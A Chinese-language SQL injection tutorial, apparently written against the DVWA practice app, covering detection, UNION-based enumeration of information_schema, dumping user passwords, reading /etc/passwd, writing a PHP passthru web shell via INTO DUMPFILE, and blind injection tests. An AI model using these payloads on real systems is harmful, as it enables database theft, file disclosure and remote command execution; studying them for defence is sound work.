SQL 注入

服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
基于报错的检测方法

1
2
3
‘ 单引号,在输入框输入一个单引号,如果数据库sql语句是直接拼接的,就会识别不了指令而报错
%
()

基于布尔的检测–用来猜测服务器的SQL 语句结构

1
2
1' and '1'='1    /    1' and '1
1' and '1'='2 / 1' and '0

检测数据库表有多少个字段

1
2
3
' order by 数字--(空格) (--就是注释的意思,在--后面加空格才能使注释生效)
(例:如果user表只有4个字段,那么以下sql语句会报错:select * from user order by 5
而以下sql语句正常:select * from user order by 4

联合查询

1
2
3
4
5
6
7
8
' union select 1,2-- (空格)(还是需要在--后面加空格,由上面的注入得出该输入多少个数字,有4个字段就输:1,2,3,4
这样就能得出查询的对应字段的名称)
' union select user(),version()-- (空格)(还是需要在--后面加空格,user(),version()都是数据库默认的函数,得到用户和版本号,
也可以根据版本号来看用的是什么数据库,比如MySql数据库版本号可能为5,但Oracle数据库版本号不可能为5,太久了,
其他数据库函数:database()--数据库名称)
ASCII转字符:char('字符')
连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
(连接字符串,就能把多个函数合并为一个,只占一个位置,CHAR(32,58,32)就是以空格:空格的格式分隔开来)

针对MySQL数据库的一些SQL注入

information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。感觉information_schema就像是MySQL实例的一个百科全书,记录了数据库当中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。通过information_schema我们可以窥透整个MySQL实例的运行情况,可以了结MySQL实例的基本信息,甚至优化调优,维护数据库等

简单来说,我们只要利用information_schema 就能知道数据库存放了什么表,表里的字段是什么

1
2
3
4
5
6
7
8
9
10
所有库所有表/统计每库中表的数量
' union select table_name,table_schema from information_schema.tables--+
' union select table_schema,count(*) from information_schema.tables group by table_schema--+
dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查到表名users后就查表中的字段
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
之后查询user,password的内容
' union select user,password from dvwa.users--+
' union select null,concat(user,0x3a,password) from users--+(只是格式变了)

读取文件
' union select null,load_file('/etc/passwd')--+
写入文件(利用 into dumpfile,这个指令还能把二进制还原,利用这个我们可以先把要传输的代码用二进制编码后传到数据库)

1
2
3
' union select null,"<?php passthru($_GET['cmd']); ?>" into DUMPFILE "/tmp/a.php"--+(tmp目录是所有用户都有权限读写执行)
cat shell.php | xxd -ps | tr -d '\n'(这句话就是把shell.php 下的内容转成十六进制,并且去掉换行符)
' union select null, (0x十六进制内容) into dumpfile "/tmp/a.php"--+(注意:get请求有最大长度限制,所以内容太多会导致注入失败)

保存数据库
' union select null, concat(user,0x3a,password) from users into OUTFILE '/tmp/a.db'
当数据库没有权限查看information_schema时,或者数据库限制不能使用 union,order by 查询
猜表有没有这个列,重复的工作可以用(Burp 的intruder用字典)

1
' and column is null--+ (column就是要替换的列,如果没有该列,就会报错,有的话就正常)

猜当前表表名(假如由上一步得出的其中一个列名为user)
and table.user is null--+ (table就是要替换的表名)
猜数据库的其他表
' and (select count(*) from table)>0--+ (table就是要替换的表名)
猜字段的内容

1
2
'  or user='admin
' or user like '%a%

当数据库可写
'; update users set user='hyx' where user='admin(两条语句先后执行)

SQL盲注

不显示数据库内建的报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即 盲

思路:既然无法基于报错信息判断结果,就基于逻辑真假的不同结果判断

1
2
3
4
1' and 1=1
1' and 1=2
1' order by 5--+(如果sql语句有两个字段的话为假)
1' order by 2--+(如果sql语句有两个字段的话为真)

如果有sql注入漏洞的话,之后的操作都合上一篇的指令差不多